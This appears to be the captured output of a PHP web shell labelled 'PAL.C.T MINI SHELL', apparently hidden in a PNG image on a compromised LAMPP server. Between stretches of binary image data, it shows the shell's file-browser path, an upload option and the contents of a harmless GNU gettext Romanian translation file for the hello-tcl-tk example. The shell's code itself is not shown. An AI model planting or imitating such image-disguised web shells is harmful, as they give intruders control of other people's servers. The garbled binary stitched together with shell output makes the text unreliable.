php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/lampp/share/doc/gettext/examples/hello-tcl-tk/po/
upload
files >> //opt/lampp/share/doc/gettext/examples/hello-tcl-tk/po/ro.po

# Mesajele n limba romn pentru pachetul hello-tcl-tk-0.13-pre1.
# Copyright (C) 2003 Free Software Foundation, Inc.
# Acest fiier este distribuit sub aceeai licen ca pachetul hello-tcl-tk.
# Eugen Hoanca <eugenh@urban-grafx.ro>, 2003
#
msgid ""
msgstr ""
"Project-Id-Version: hello-tcl-tk 0.13-pre1\n"
"Report-Msgid-Bugs-To: bug-gnu-gettext@gnu.org\n"
"PO-Revision-Date: 2003-11-22 11:15+0200\n"
"Last-Translator: Eugen Hoanca <eugenh@urban-grafx.ro>\n"
"Language-Team: Romanian <translation-team-ro@lists.sourceforge.net>\n"
"Language: ro\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=ISO-8859-2\n"
"Content-Transfer-Encoding: 8bit\n"

#: hello.tcl:13
msgid "Hello, world!"
msgstr "Salut, lume! (Hello, world!)"

#: hello.tcl:16
#, tcl-format
msgid "This program is running as process number %d."
msgstr "Acest program este rulat ca procesul numrul %d."
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`